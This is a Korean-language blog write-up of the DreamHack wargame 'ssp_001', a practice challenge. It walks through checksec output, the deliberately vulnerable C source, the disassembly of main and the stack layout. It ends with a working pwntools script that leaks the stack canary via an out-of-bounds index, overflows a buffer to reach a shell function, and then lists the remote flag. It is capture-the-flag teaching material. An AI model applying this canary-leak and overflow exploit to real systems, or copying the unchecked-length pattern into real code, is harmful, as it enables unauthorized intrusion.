rsp-∞
[DreamHack] ssp_001 본문
$ checksec ssp_001
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
checksec 명령어를 사용하여 ssp_001 함수에서 canary 보호 기법이 적용되어 있음을 알 수 있다. (해당 워게임 Environment에서도 확인 가능)
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
puts("[F]ill the box");
puts("[P]rint the box");
puts("[E]xit");
printf("> ");
}
int main(int argc, char *argv[]) {
unsigned char box[0x40] = {};
char name[0x40] = {};
char select[2] = {};
int idx = 0, name_len = 0;
initialize();
while(1) {
menu();
read(0, select, 2);
switch( select[0] ) {
case 'F':
printf("box input : ");
read(0, box, sizeof(box));
break;
case 'P':
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);
break;
case 'E':
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
return 0;
default:
break;
ssp_001의 c코드에서 get_shell() 함수가 정의되어 있는 것을 볼 수 있다. checksec에서 NX enabled를 확인할 수 있으므로 전체 함수에서 ret에 get_shell() 값을 집어넣어 주면 쉘 권한을 획득할 수 있을 것 같다. 또 switch 문에서 세 가지 옵션이 주어진 것을 볼 수 있는데, 여기서 취약점을 발견할 수 있다. F는 box에 값을 입력할 수 있게 하고, P는 box의 값을 읽을 수 있으며, E는 이름의 크기와 사이즈를 입력하고 종료한다. 취약점은 P에서 idx의 값을 설정해 놓고 있지 않아 사실상 box 외의 값도 읽을 수 있다는 것과 E에서 내가 직접 이름의 크기를 설정하여 스택 버퍼 오버플로우를 유도할 수 있다는 점이다. P를 통해 카나리의 값을 알아 내고 E를 통해 스택 버퍼 오버플로우 공격을 수행할 수 있다.
pwndbg> disass main
Dump of assembler code for function main:
0x0804872b <+0>: push ebp
0x0804872c <+1>: mov ebp,esp
0x0804872e <+3>: push edi
0x0804872f <+4>: sub esp,0x94
0x08048735 <+10>: mov eax,DWORD PTR [ebp+0xc]
0x08048738 <+13>: mov DWORD PTR [ebp-0x98],eax
0x0804873e <+19>: mov eax,gs:0x14
0x08048744 <+25>: mov DWORD PTR [ebp-0x8],eax
0x08048747 <+28>: xor eax,eax
0x08048749 <+30>: lea edx,[ebp-0x88]
0x0804874f <+36>: mov eax,0x0
0x08048754 <+41>: mov ecx,0x10
0x08048759 <+46>: mov edi,edx
0x0804875b <+48>: rep stos DWORD PTR es:[edi],eax
0x0804875d <+50>: lea edx,[ebp-0x48]
0x08048760 <+53>: mov eax,0x0
0x08048765 <+58>: mov ecx,0x10
0x0804876a <+63>: mov edi,edx
0x0804876c <+65>: rep stos DWORD PTR es:[edi],eax
0x0804876e <+67>: mov WORD PTR [ebp-0x8a],0x0
0x08048777 <+76>: mov DWORD PTR [ebp-0x94],0x0
0x08048781 <+86>: mov DWORD PTR [ebp-0x90],0x0
0x0804878b <+96>: call 0x8048672 <initialize>
0x08048790 <+101>: call 0x80486f1 <menu>
0x08048795 <+106>: push 0x2
0x08048797 <+108>: lea eax,[ebp-0x8a]
0x0804879d <+114>: push eax
0x0804879e <+115>: push 0x0
0x080487a0 <+117>: call 0x80484a0 <read@plt>
0x080487a5 <+122>: add esp,0xc
0x080487a8 <+125>: movzx eax,BYTE PTR [ebp-0x8a]
0x080487af <+132>: movsx eax,al
0x080487b2 <+135>: cmp eax,0x46
0x080487b5 <+138>: je 0x80487c6 <main+155>
0x080487b7 <+140>: cmp eax,0x50
0x080487ba <+143>: je 0x80487eb <main+192>
0x080487bc <+145>: cmp eax,0x45
0x080487bf <+148>: je 0x8048824 <main+249>
0x080487c1 <+150>: jmp 0x804887a <main+335>
0x080487c6 <+155>: push 0x804896c
0x080487cb <+160>: call 0x80484b0 <printf@plt>
0x080487d0 <+165>: add esp,0x4
0x080487d3 <+168>: push 0x40
0x080487d5 <+170>: lea eax,[ebp-0x88]
0x080487db <+176>: push eax
0x080487dc <+177>: push 0x0
0x080487de <+179>: call 0x80484a0 <read@plt>
0x080487e3 <+184>: add esp,0xc
0x080487e6 <+187>: jmp 0x804887a <main+335>
0x080487eb <+192>: push 0x8048979
0x080487f0 <+197>: call 0x80484b0 <printf@plt>
0x080487f5 <+202>: add esp,0x4
0x080487f8 <+205>: lea eax,[ebp-0x94]
0x080487fe <+211>: push eax
0x080487ff <+212>: push 0x804898a
0x08048804 <+217>: call 0x8048540 <__isoc99_scanf@plt>
0x08048809 <+222>: add esp,0x8
0x0804880c <+225>: mov eax,DWORD PTR [ebp-0x94]
0x08048812 <+231>: push eax
0x08048813 <+232>: lea eax,[ebp-0x88]
0x08048819 <+238>: push eax
0x0804881a <+239>: call 0x80486cc <print_box>
0x0804881f <+244>: add esp,0x8
0x08048822 <+247>: jmp 0x804887a <main+335>
0x08048824 <+249>: push 0x804898d
0x08048829 <+254>: call 0x80484b0 <printf@plt>
0x0804882e <+259>: add esp,0x4
0x08048831 <+262>: lea eax,[ebp-0x90]
0x08048837 <+268>: push eax
0x08048838 <+269>: push 0x804898a
0x0804883d <+274>: call 0x8048540 <__isoc99_scanf@plt>
0x08048842 <+279>: add esp,0x8
0x08048845 <+282>: push 0x804899a
0x0804884a <+287>: call 0x80484b0 <printf@plt>
0x0804884f <+292>: add esp,0x4
0x08048852 <+295>: mov eax,DWORD PTR [ebp-0x90]
0x08048858 <+301>: push eax
0x08048859 <+302>: lea eax,[ebp-0x48]
0x0804885c <+305>: push eax
0x0804885d <+306>: push 0x0
0x0804885f <+308>: call 0x80484a0 <read@plt>
0x08048864 <+313>: add esp,0xc
0x08048867 <+316>: mov eax,0x0
0x0804886c <+321>: mov edx,DWORD PTR [ebp-0x8]
0x0804886f <+324>: xor edx,DWORD PTR gs:0x14
0x08048876 <+331>: je 0x8048884 <main+345>
0x08048878 <+333>: jmp 0x804887f <main+340>
0x0804887a <+335>: jmp 0x8048790 <main+101>
0x0804887f <+340>: call 0x80484e0 <__stack_chk_fail@plt>
0x08048884 <+345>: mov edi,DWORD PTR [ebp-0x4]
0x08048887 <+348>: leave
0x08048888 <+349>: ret
End of assembler dump.
ssp_001의 main을 disassemble한 결과이다. get_shell 함수의 주소값을 출력해 보자.
pwndbg> print get_shell
$1 = {<text variable, no debug info>} 0x80486b9 <get_shell>
0x80486b9가 get_shell의 주소임을 알 수 있다.
pwndbg> i r
eax 0xfffffe00 -512
ecx 0xffffcefe -12546
edx 0x2 2
ebx 0x0 0
esp 0xffffceb4 0xffffceb4
ebp 0xffffcf88 0xffffcf88
esi 0xf7e2a000 -136142848
edi 0xffffcf80 -12416
eip 0xf7fc4579 0xf7fc4579 <__kernel_vsyscall+9>
eflags 0x246 [ PF ZF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
스택의 구조를 파악하는 데 도움이 될까 싶어서 레지스터의 정보를 출력해 보았다.
ebp - 0x94 | idx | 4 |
ebp - 0x90 | name_len | 4 |
ebp - 0x8a | select | 2 |
ebp - 0x88 | box | 0x40 |
ebp - 0x48 | name | 0x40 |
ebp - 0x8 | canary | 4 |
ebp - 0x4 | edi | 4 |
ebp | ebp | 4 |
ret | 4 |
스택의 구조는 위와 같다. instruction마다 8바이트가 아닌 4바이트가 할당되는 이유는 checksec에서 확인할 수 있듯 64비트가 아닌 32비트 체제에서 작동하고 있기 때문이다. 위와 같은 정보들을 이용하여 익스플로잇 코드를 구성할 수 있다.
from pwn import *
p = remote("host3.dreamhack.games", 17233)
canary = b""
get_shell = 0x80486b9
buf2cnry = 0x80
name2cnry = 0x40
canary = b'0x'
p.sendlineafter(b'> ', 'F')
p.sendlineafter(b'box input : ', b'AAAAAAAAAAAAAAAA')
for i in range(4):
p.sendlineafter(b'> ', b'P')
p.sendlineafter(b'Element index : ', str(buf2cnry+(3-i)))
p.recvuntil('is : ')
canary += p.recv(2)
canary = int(canary,16)
payload = b''
payload += b'A'*name2cnry
payload += p32(canary)
payload += b'B'*8
payload += p32(get_shell)
p.sendlineafter(b'> ', 'E')
p.sendlineafter(b'Name Size : ', b'10000')
p.sendlineafter(b'Name : ', payload)
p.interactive()
해당 익스플로잇 코드를 실행한다.
$ python3 ssp001_exploit.py
[+] Opening connection to host3.dreamhack.games on port 17233: Done
[*] Switching to interactive mode
$ ls
flag
run.sh
ssp_001
cat flag를 통해 플래그를 확인할 수 있다.
'Write-ups > system' 카테고리의 다른 글
[DreamHack] rop (0) | 2024.05.25 |
---|---|
[DreamHack] Return to Library (0) | 2024.05.25 |
[DreamHack] Mitigation : Stack Canary - 카나리 생성 과정 (0) | 2024.05.18 |
[DreamHack] Mitigation : Stack Canary - canary.c 실습 동적 분석 (0) | 2024.05.18 |
[Bomb Lab] Phase_4 (0) | 2024.05.12 |